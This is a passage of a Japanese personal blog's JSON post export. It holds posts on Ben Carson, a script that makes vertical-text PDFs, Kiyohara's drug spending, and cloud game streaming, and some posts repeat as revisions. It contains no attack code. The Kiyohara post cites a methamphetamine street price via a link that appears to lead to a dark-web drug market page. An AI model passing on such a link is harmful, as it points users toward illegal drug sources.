になるかどうかを選択するのだというこの\"科学的な命題\"を信じているのかどうか、その態度を明確にしていません。性自認および性的指向が本人の選択によって決定されるという考え方は「変換治療」の信用基盤になっています。この「治療」はいわゆる治療自殺の原因となったことによって、いくつかの州では禁止されているものです。\r\n\u003e\r\n\u003e(中略)\r\n\u003e\r\n\u003eカーソンは以下のように語った。「私が考えるに、結婚とは男女の間で行われるものです。この考え方は十分に確立された、社会の基礎的な柱です。ゲイであれ、少年性愛愛好者団体であれ、獣姦愛好者であれこの考え方を変えることはできません。つまり、私はゲイに何か対抗措置をとるというわけではないのです。私は、社会の基本的な定義を変えようとする者に大して対抗措置を取ろうとしているわけです。こういうことは重大な波及効果を持っています」\r\n\u003e\r\n\u003e ベン・カーソン: 同性婚と獣姦愛好者を比較する\r\n\r\n私が考えるに、この人はほかのどの候補者と比べても狂ってます。異常です。にも拘わらずなんでこの人が人気を集めているかはよくわかりません。アメリカにはこういう主張に同調するへんな人が僕の想像よりずっと多いのかもしれません。マスメディアがドナルド・トランプ憎しでベン・カーソンの異常性を叩くのを忘れているということも考えられます。","created_at":"2015-11-27T07:36:22.000Z","updated_at":"2015-11-27T07:36:22.000Z"},{"id":2935,"name":"text/縦書き PDF を楽に作成","body":"%blog%\r\n\r\n縦書き PDF の作成というのは意外とめんどくさくて、 Adobe 系のツールとかが必要だったりする。\r\n\r\nこれではいろいろ困るということでやり方を考えてみたところ、 nightmare を使うというのを考えた。\r\n\r\nnightmare はページを PDF で保存する機能があるので、 CSS で縦書き化したサイトをあれで PDF 保存すればいいのではないか。\r\n\r\nというわけで http://ssig33-paste.herokuapp.com/658747593d31aeeaecd125a2011f478e のような感じのページを用意して、以下のような簡単なスクリプトを書いた。\r\n\r\n### package.json\r\n```\r\n{\r\n \"dependencies\": {\r\n \"nightmare\": \"2.0.9\",\r\n \"vo\": \"\",\r\n }\r\n}\r\n```\r\n\r\n### app.js\r\n```\r\nvar Nightmare = require('nightmare');\r\nvar vo = require('vo');\r\nvar Screenshot = require('nightmare-screenshot');\r\nvar request = require('request');\r\n\r\nvo(function* () {\r\n var nightmare = Nightmare({\r\n show: false,\r\n 'web-preferences':{\r\n partition: 'nopersist',\r\n }\r\n });\r\n var text = yield nightmare\r\n .goto('http://ssig33-paste.herokuapp.com/658747593d31aeeaecd125a2011f478e')\r\n .wait('#all')\r\n .pdf(\"shit.pdf\")\r\n yield nightmare.end();\r\n return text\r\n})((err, result)=\u003e{\r\n console.log(\"DONE\")\r\n});\r\n```\r\n\r\nまあこんだけ。\r\n\r\n得られる PDF は[こちら](http://s.ssig33.com/files/9ff075ef83c145c093d4e1b1de00ceb0)。\r\n\r\n綺麗な縦書き PDF を得る手段としては、かなりよいのではないか。自動化された作業フローの中に組込むことも、簡単である。","created_at":"2015-12-18T09:55:45.000Z","updated_at":"2015-12-18T09:55:45.000Z"},{"id":2936,"name":"export","body":"ruby\r\n\r\nPost.all.to_json","created_at":"2016-01-16T05:39:53.000Z","updated_at":"2016-01-16T05:39:53.000Z"},{"id":2937,"name":"export","body":"ruby\r\n\r\nPage.all.to_json","created_at":"2016-01-16T05:39:59.000Z","updated_at":"2016-01-16T05:39:59.000Z"},{"id":2938,"name":"text/清原の経済","body":"%blog% 清原の経済状態\r\n\r\n\u003cp\u003eという問題について今日は考えていきます。\u003c/p\u003e\r\n\t\r\n\t\u003ch3\u003e問題意識\u003c/h3\u003e\r\n\t\r\n\t\u003cp\u003e清原は金に困窮していたとされているが、実際それは覚醒剤のせいなのか?というのが気になる。\u003c/p\u003e\r\n\t\r\n\t\u003ch3\u003e覚醒剤\u003c/h3\u003e\r\n\t\r\n\t\u003cblockquote\u003e\r\n\t\u003cp\u003e清原容疑者は群馬で150回分の使用量にあたる覚醒剤5グラムを入手、1カ月間で使い切った\u003cbr\u003e\r\n\t\u003ca href=\"http://www.sankei.com/sports/news/160216/spo1602160001-n1.html\"\u003ehttp://www.sankei.com/sports/news/160216/spo1602160001-n1.html\u003c/a\u003e\u003c/p\u003e\r\n\t\r\n\t\u003cp\u003e清原容疑者が小林容疑者から買ったとされる価格は1グラムに換算すると20万円\u003cbr\u003e\r\n\t\u003ca href=\"http://www.asahi.com/articles/ASJ2J3GQGJ2JUTIL00P.html\"\u003ehttp://www.asahi.com/articles/ASJ2J3GQGJ2JUTIL00P.html\u003c/a\u003e\u003c/p\u003e\r\n\t\u003c/blockquote\u003e\r\n\t\r\n\t\u003cp\u003e上記二つの情報から、清原が覚醒剤に使った額は年間 20*5*12 で 1200 万円であることが分かります。\u003c/p\u003e\r\n\t\r\n\t\u003ch3\u003e住居\u003c/h3\u003e\r\n\t\r\n\t\u003cblockquote\u003e\r\n\t\u003cp\u003e捜査関係者などによると、清原容疑者が住んでいたのは東京都港区東麻布の14階建てマンションの一室。\u003cbr\u003e\r\n\t\u003ca href=\"http://www.zakzak.co.jp/society/domestic/news/20160204/dms1602041558010-n1.htm\"\u003ehttp://www.zakzak.co.jp/society/domestic/news/20160204/dms1602041558010-n1.htm\u003c/a\u003e\u003c/p\u003e\r\n\t\r\n\t\u003cp\u003e月額賃料\u003cbr\u003e\r\n\t6 0 6 , 0 0 0 円 → 3 3 0 , 0 0 0 円\u003cbr\u003e\r\n\t\u003ca href=\"http://www.serviced-apartments-tokyo.com/ja/detail/tid/266\"\u003ehttp://www.serviced-apartments-tokyo.com/ja/detail/tid/266\u003c/a\u003e\u003c/p\u003e\r\n\t\u003c/blockquote\u003e\r\n\t\r\n\t\u003cp\u003eこれ値下げされてるってことは元清原の部屋でしょうか。いずれにせよ家賃は年間 730 万円ほどであることが分かります。\u003c/p\u003e\r\n\t\r\n\t\u003cp\u003eその他、覚醒剤を方々から購入するための移動費だとか、隠れ家を転々とするためのコストなどがあるでしょうが、その合計が年間 500 万円を越えるということは無いと思います。\u003c/p\u003e\r\n\t\r\n\t\u003ch3\u003eまとめ\u003c/h3\u003e\r\n\t\r\n\t\u003cp\u003eつまり、清原にとって覚醒剤と住居費という固定費の合計はおおよそ 2400 万円ほどであると考えられます。実際のところ、現在の覚醒剤の末端価格の相場は\u003ca href=\"http://www.xiwayy2kn32bo3ko.onion.link/ura/\"\u003e3万円\u003c/a\u003eであり、清原が口止め料込みで高値掴みさせられていたとしても、まいどまいど 20万円/g という大金を払わされていた可能性は低いと思います。なので、これは最大で 2400 万円と考えてよいでしょう。\u003c/p\u003e\r\n\t\r\n\t\u003ch3\u003e清原にとって覚醒剤とはどの程度のものだったのか\u003c/h3\u003e\r\n\t\r\n\t\u003cblockquote\u003e\r\n\t\u003cp\u003e「野球選手清原」として、軽く60億円以上を手にしたはずだ。\u003cbr\u003e\r\n\t\u003ca href=\"http://www.nikkan-gendai.com/articles/view/geino/175147/1\"\u003ehttp://www.nikkan-gendai.com/articles/view/geino/175147/1\u003c/a\u003e\u003c/p\u003e\r\n\t\u003c/blockquote\u003e\r\n\t\r\n\t\u003cp\u003e仮に現役 1 年目から 29 年間覚醒剤を使い続けていたとしても、 覚醒剤関連費用は 3 億 5000 万円に過ぎません。 60 億もあるならなんの問題もない額でしょう。実際には 1 回の使用量は 0.02g 前後から徐々に増えていくこと、現役 1 年目からというのはいくらなんでも考え辛いことを考えれば、これよりずっと少ない額でしょう。\u003c/p\u003e\r\n\t\r\n\t\u003cp\u003eまた今は清原の収入源は激減したとされますが\u003c/p\u003e\r\n\t\r\n\t\u003cblockquote\u003e\r\n\t\u003cp\u003e最近は1回100万円の地方パチンコ営業などで食いつなぎ\u003cbr\u003e\r\n\t\u003ca href=\"http://news.livedoor.com/article/detail/11150951/\"\u003ehttp://news.livedoor.com/article/detail/11150951/\u003c/a\u003e\u003c/p\u003e\r\n\t\u003c/blockquote\u003e\r\n\t\r\n\t\u003cp\u003eとありますから、月 2 件のパチンコ営業さえすれば覚醒剤関連費用など余裕で捻出することが出来ます。\u003c/p\u003e\r\n\t\r\n\t\u003ch3\u003e結論\u003c/h3\u003e\r\n\t\r\n\t\u003cp\u003e六本木で遊びすぎ、、、\u003c/p\u003e\r\n","created_at":"2016-02-18T06:52:38.000Z","updated_at":"2016-02-18T06:52:38.000Z"},{"id":2939,"name":"text/清原の経済","body":"%blog% 清原の経済状態\r\n\r\n\u003cp\u003eという問題について今日は考えていきます。\u003c/p\u003e\r\n\t\r\n\u003ch3\u003e問題意識\u003c/h3\u003e\r\n\t\r\n\u003cp\u003e清原は金に困窮していたとされているが、実際それは覚醒剤のせいなのか?というのが気になる。\u003c/p\u003e\r\n\t\r\n\u003ch3\u003e覚醒剤\u003c/h3\u003e\r\n\t\r\n\u003cblockquote\u003e\r\n\u003cp\u003e清原容疑者は群馬で150回分の使用量にあたる覚醒剤5グラムを入手、1カ月間で使い切った\u003cbr\u003e\r\n\u003ca href=\"http://www.sankei.com/sports/news/160216/spo1602160001-n1.html\"\u003ehttp://www.sankei.com/sports/news/160216/spo1602160001-n1.html\u003c/a\u003e\u003c/p\u003e\r\n\u003c/blockquote\u003e\r\n\r\n\u003cblockquote\u003e\r\n\u003cp\u003e清原容疑者が小林容疑者から買ったとされる価格は1グラムに換算すると20万円\u003cbr\u003e\r\n\u003ca href=\"http://www.asahi.com/articles/ASJ2J3GQGJ2JUTIL00P.html\"\u003ehttp://www.asahi.com/articles/ASJ2J3GQGJ2JUTIL00P.html\u003c/a\u003e\u003c/p\u003e\r\n\u003c/blockquote\u003e\r\n\t\r\n\u003cp\u003e上記二つの情報から、清原が覚醒剤に使った額は年間 20*5*12 で 1200 万円であることが分かります。\u003c/p\u003e\r\n\t\r\n\u003ch3\u003e住居\u003c/h3\u003e\r\n\t\r\n\u003cblockquote\u003e\r\n\u003cp\u003e捜査関係者などによると、清原容疑者が住んでいたのは東京都港区東麻布の14階建てマンションの一室。\u003cbr\u003e\r\n\u003ca href=\"http://www.zakzak.co.jp/society/domestic/news/20160204/dms1602041558010-n1.htm\"\u003ehttp://www.zakzak.co.jp/society/domestic/news/20160204/dms1602041558010-n1.htm\u003c/a\u003e\u003c/p\u003e\r\n\u003c/blockquote\u003e\r\n\r\n\u003cblockquote\u003e\r\n\u003cp\u003e月額賃料\u003cbr\u003e\r\n6 0 6 , 0 0 0 円 → 3 3 0 , 0 0 0 円\u003cbr\u003e\r\n\u003ca href=\"http://www.serviced-apartments-tokyo.com/ja/detail/tid/266\"\u003ehttp://www.serviced-apartments-tokyo.com/ja/detail/tid/266\u003c/a\u003e\u003c/p\u003e\r\n\u003c/blockquote\u003e\r\n\t\r\n\u003cp\u003eこれ値下げされてるってことは元清原の部屋でしょうか。いずれにせよ家賃は年間 730 万円ほどであることが分かります。\u003c/p\u003e\r\n\t\r\n\u003cp\u003eその他、覚醒剤を方々から購入するための移動費だとか、隠れ家を転々とするためのコストなどがあるでしょうが、その合計が年間 500 万円を越えるということは無いと思います。\u003c/p\u003e\r\n\t\r\n\u003ch3\u003eまとめ\u003c/h3\u003e\r\n\t\r\n\u003cp\u003eつまり、清原にとって覚醒剤と住居費という固定費の合計はおおよそ 2400 万円ほどであると考えられます。実際のところ、現在の覚醒剤の末端価格の相場は\u003ca href=\"http://www.xiwayy2kn32bo3ko.onion.link/ura/\"\u003e3万円\u003c/a\u003eであり、清原が口止め料込みで高値掴みさせられていたとしても、まいどまいど 20万円/g という大金を払わされていた可能性は低いと思います。なので、これは最大で 2400 万円と考えてよいでしょう。\u003c/p\u003e\r\n\t\r\n\u003ch3\u003e清原にとって覚醒剤とはどの程度のものだったのか\u003c/h3\u003e\r\n\t\r\n\u003cblockquote\u003e\r\n\u003cp\u003e「野球選手清原」として、軽く60億円以上を手にしたはずだ。\u003cbr\u003e\r\n\u003ca href=\"http://www.nikkan-gendai.com/articles/view/geino/175147/1\"\u003ehttp://www.nikkan-gendai.com/articles/view/geino/175147/1\u003c/a\u003e\u003c/p\u003e\r\n\u003c/blockquote\u003e\r\n\t\r\n\u003cp\u003e仮に現役 1 年目から 29 年間覚醒剤を使い続けていたとしても、 覚醒剤関連費用は 3 億 5000 万円に過ぎません。 60 億もあるならなんの問題もない額でしょう。実際には 1 回の使用量は 0.02g 前後から徐々に増えていくこと、現役 1 年目からというのはいくらなんでも考え辛いことを考えれば、これよりずっと少ない額でしょう。\u003c/p\u003e\r\n\t\r\n\u003cp\u003eまた今は清原の収入源は激減したとされますが\u003c/p\u003e\r\n\t\r\n\u003cblockquote\u003e\r\n\u003cp\u003e最近は1回100万円の地方パチンコ営業などで食いつなぎ\u003cbr\u003e\r\n\u003ca href=\"http://news.livedoor.com/article/detail/11150951/\"\u003ehttp://news.livedoor.com/article/detail/11150951/\u003c/a\u003e\u003c/p\u003e\r\n\u003c/blockquote\u003e\r\n\t\r\n\u003cp\u003eとありますから、月 2 件のパチンコ営業さえすれば覚醒剤関連費用など余裕で捻出することが出来ます。\u003c/p\u003e\r\n\r\n\u003ch3\u003e結論\u003c/h3\u003e\r\n\r\n\u003cp\u003e六本木で遊びすぎ、、、\u003c/p\u003e\r\n","created_at":"2016-02-18T06:54:14.000Z","updated_at":"2016-02-18T06:54:14.000Z"},{"id":2940,"name":"text/PC Game without PC","body":"%blog%\r\n\r\n一発ネタと思いきやわりとちゃんと遊べる。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"6\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BCmiaHfPxMB/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003e携帯ゲーム\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した動画 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-03-06T06:50:50+00:00\"\u003e2016 3月 5 10:50午後 PST\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\u003cscript async defer src=\"//platform.instagram.com/en_US/embeds.js\"\u003e\u003c/script\u003e\r\n\r\n[Moonlight Game Streaming](http://moonlight-stream.com/)というツールがあり、どんなデバイスでも nvidia shield に見せかけて nvidia のゲームストリーミングを動かしてしまうということができます。\r\n\r\n本来であれば、これは家の中においたゲーム PC からストリーミングして遊ぶものなのですが、 [AWS の GPU インスタンスでゲームを遊ぶ](http://lg.io/2015/07/05/revised-and-much-faster-run-your-own-highend-cloud-gaming-service-on-ec2.html)というのがあって、 AWS と Android を VPN で繋いで、 AWS から Android にゲームをストリーミングさせています。\r\n\r\nコントローラーは\u003ca href=\"http://www.amazon.co.jp/gp/product/B00IZ76L4O/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B00IZ76L4O\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eこれ\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B00IZ76L4O\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B00IZ76L4O\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nです。\r\n\r\nAWS で Fallout 4 を実行すると何故か異様にロードが遅い(マップ移動で 50 秒とか待たせれる)という問題があるのですが、まあそれさえ我慢すれば遊べます。\r\n\r\nただ、限界ももちろんあって、パッドの反応性が微妙なので、 V.A.T.S というシステムがあり、また近接攻撃が強力な FO あたりが遊べる限界という感じがあります。具体的には Borderlands 以上にシューター寄りだと結構厳しい。\r\n\r\nPC 無しで最先端の PC ゲームを超高画質で遊ぶというお話でした。","created_at":"2016-03-06T12:14:42.000Z","updated_at":"2016-03-06T12:14:42.000Z"},{"id":2941,"name":"text/PC Game without PC","body":"%blog%\r\n\r\nまずはこちらをご覧ください。携帯電話で Fallout 4 をプレイする様子です。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"6\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BCmiaHfPxMB/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003e携帯ゲーム\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した動画 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-03-06T06:50:50+00:00\"\u003e2016 3月 5 10:50午後 PST\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\u003cscript async defer src=\"//platform.instagram.com/en_US/embeds.js\"\u003e\u003c/script\u003e\r\n\r\n一発ネタと思いきやちゃんと遊べます。\r\n\r\n[Moonlight Game Streaming](http://moonlight-stream.com/)というツールがあり、どんなデバイスでも nvidia shield に見せかけて nvidia のゲームストリーミングを動かしてしまうということができます。\r\n\r\n本来であれば、これは家の中においたゲーム PC からストリーミングして遊ぶものなのですが、 [AWS の GPU インスタンスでゲームを遊ぶ](http://lg.io/2015/07/05/revised-and-much-faster-run-your-own-highend-cloud-gaming-service-on-ec2.html)というのがあって、 AWS と Android を VPN で繋いで、 AWS から Android にゲームをストリーミングさせています。\r\n\r\nコントローラーは\u003ca href=\"http://www.amazon.co.jp/gp/product/B00IZ76L4O/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B00IZ76L4O\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eこれ\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B00IZ76L4O\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B00IZ76L4O\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nです。\r\n\r\nAWS で Fallout 4 を実行すると何故か異様にロードが遅い(マップ移動で 50 秒とか待たせれる)という問題があるのですが、まあそれさえ我慢すれば遊べます。\r\n\r\nただ、限界ももちろんあって、パッドの反応性が微妙なので、 V.A.T.S というシステムがあり、また近接攻撃が強力な FO あたりが遊べる限界という感じがあります。具体的には Borderlands 以上にシューター寄りだと結構厳しい。\r\n\r\nPC 無しで最先端の PC ゲームを超高画質で遊ぶというお話でした。","created_at":"2016-03-06T12:16:26.000Z","updated_at":"2016-03-06T12:16:26.000Z"},{"id":2942,"name":"text/PC Game without PC","body":"%blog%\r\n\r\nまずはこちらをご覧ください。携帯電話で Fallout 4 をプレイする様子です。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"6\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BCmiaHfPxMB/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003e携帯ゲーム\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した動画 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-03-06T06:50:50+00:00\"\u003e2016 3月 5 10:50午後 PST\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\u003cscript async defer src=\"//platform.instagram.com/en_US/embeds.js\"\u003e\u003c/script\u003e\r\n\r\n一発ネタと思いきやちゃんと遊べます。\r\n\r\n[Moonlight Game Streaming](http://moonlight-stream.com/)というツールがあり、どんなデバイスでも nvidia shield に見せかけて nvidia のゲームストリーミングを動かしてしまうということができます。\r\n\r\n本来であれば、これは家の中においたゲーム PC からストリーミングして遊ぶものなのですが、 [AWS の GPU インスタンスでゲームを遊ぶ](http://lg.io/2015/07/05/revised-and-much-faster-run-your-own-highend-cloud-gaming-service-on-ec2.html)というのがあって、 AWS と Android を VPN で繋いで、 AWS から Android にゲームをストリーミングさせています。\r\n\r\nコントローラーは\u003ca href=\"http://www.amazon.co.jp/gp/product/B00IZ76L4O/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B00IZ76L4O\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eこれ\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B00IZ76L4O\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B00IZ76L4O\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nです。 iPhone + Moonlight だとちゃんと動かなかったので、 Android 端末を用意してください。\r\n\r\nAWS で Fallout 4 を実行すると何故か異様にロードが遅い(マップ移動で 50 秒とか待たせれる)という問題があるのですが、まあそれさえ我慢すれば遊べます。\r\n\r\nただ、限界ももちろんあって、パッドの反応性が微妙なので、 V.A.T.S というシステムがあり、また近接攻撃が強力な FO あたりが遊べる限界という感じがあります。具体的には Borderlands 以上にシューター寄りだと結構厳しい。\r\n\r\nPC 無しで最先端の PC ゲームを超高画質で遊ぶというお話でした。","created_at":"2016-03-06T12:17:01.000Z","updated_at":"2016-03-06T12:17:01.000Z"},{"id":2943,"name":"text/PC Game without PC","body":"%blog%\r\n\r\nまずはこちらをご覧ください。携帯電話で Fallout 4 をプレイする様子です。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"6\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BCmiaHfPxMB/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003e携帯ゲーム\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; 